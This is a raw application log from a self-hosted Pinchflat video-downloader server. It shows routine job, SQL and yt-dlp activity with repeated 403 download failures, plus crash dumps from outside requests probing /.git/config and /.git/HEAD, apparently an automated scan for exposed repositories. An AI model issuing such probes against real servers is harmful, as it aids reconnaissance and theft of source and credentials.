:before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36"}, {"x-forwarded-for", "82.39.212.241"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, (truncated) 16:12:54.481 [info] GET /.git/HEAD 16:12:54.482 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1619.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:54.483 [debug] QUERY OK source="settings" db=0.4ms idle=952.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:54.483 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:12:54.484 [error] #PID<0.4270.0> running PinchflatWeb.Endpoint (connection #PID<0.4268.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4268.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53734}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "82.39.212.241", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4270.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36"}, {"x-forwarded-for", "82.39.212.241"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVS5doNqxAM724AAY1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4268.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53734}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "82.39.212.241", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4268.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 53734}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "82.39.212.241", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4270.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36"}, {"x-forwarded-for", "82.39.212.241"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/HEAD", resp_b (truncated) 16:13:00.349 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:20.868 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:36.971 [info] {"args":{"id":14},"id":22,"meta":{},"system_time":1784924016971439444,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:13:36.972 [debug] QUERY OK source="media_items" db=0.3ms idle=1108.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14] 16:13:36.972 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:13:36.972 [debug] QUERY OK source="sources" db=0.3ms idle=1109.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:13:36.973 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1109.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:13:36.973 [debug] QUERY OK source="media_items" db=0.2ms idle=192.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 16:13:36.973 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14] 16:13:36.974 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:13:36.974 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:36.974 [debug] Running yt-dlp command for action: get_downloadable_status 16:13:36.974 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:36.975 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:36.975 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:36.975 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6b/2c/6b2c92b26148437ddfc25c0e3ef31d36094b56467ca5237f6ba98dc08f7e78f0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:13:39.398 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6b/2c/6b2c92b26148437ddfc25c0e3ef31d36094b56467ca5237f6ba98dc08f7e78f0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:13:39.398 [debug] Running yt-dlp command for action: download 16:13:39.399 [debug] QUERY OK source="settings" db=0.3ms idle=614.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:39.399 [debug] QUERY OK source="settings" db=0.0ms idle=536.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:39.399 [debug] QUERY OK source="settings" db=0.0ms idle=536.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:39.399 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f3/7f/f37fa5377017c6a6d27b5d14ec5e67933bb3bd42d6a7fb5d992340a11eef4b54.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:13:44.035 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f3/7f/f37fa5377017c6a6d27b5d14ec5e67933bb3bd42d6a7fb5d992340a11eef4b54.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: unable to download video data: HTTP Error 403: Forbidden 16:13:44.035 [error] yt-dlp download error for media item #14: "ERROR: unable to download video data: HTTP Error 403: Forbidden\n" 16:13:44.458 [debug] QUERY OK source="media_items" db=422.2ms idle=1173.0ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: unable to download video data: HTTP Error 403: Forbidden\n", ~U[2026-07-24 20:13:44Z], 14] 16:13:44.748 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14},"id":22,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":7486985,"event":"job:exception","queue_time":463017,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:13:50.869 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.349 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:20.870 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:50.871 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.351 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:20.873 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:50.874 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.352 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:20.875 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:50.876 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.353 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:20.877 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:50.878 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.353 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:20.879 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:50.880 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.354 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:20.881 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:50.882 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.356 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:20.883 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:50.884 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.356 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:20.885 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:26.943 [info] {"args":{"id":51},"id":61,"meta":{},"system_time":1784924486943108973,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:21:26.944 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=198.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 16:21:26.944 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:21:26.945 [debug] QUERY OK source="sources" db=0.3ms idle=81.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:21:26.946 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=82.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:21:26.947 [debug] QUERY OK source="media_items" db=0.5ms idle=83.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 16:21:26.947 [debug] QUERY OK source="media_metadata" db=0.0ms idle=5.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 16:21:26.948 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:21:26.948 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:26.948 [debug] Running yt-dlp command for action: get_downloadable_status 16:21:26.949 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:26.949 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:26.949 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:21:26.949 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/04/3b/043b0ef9382d6833cc04c773af70828d119b9bdfbec45349c9a79096bced60cf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:21:29.242 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/04/3b/043b0ef9382d6833cc04c773af70828d119b9bdfbec45349c9a79096bced60cf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:21:29.242 [debug] 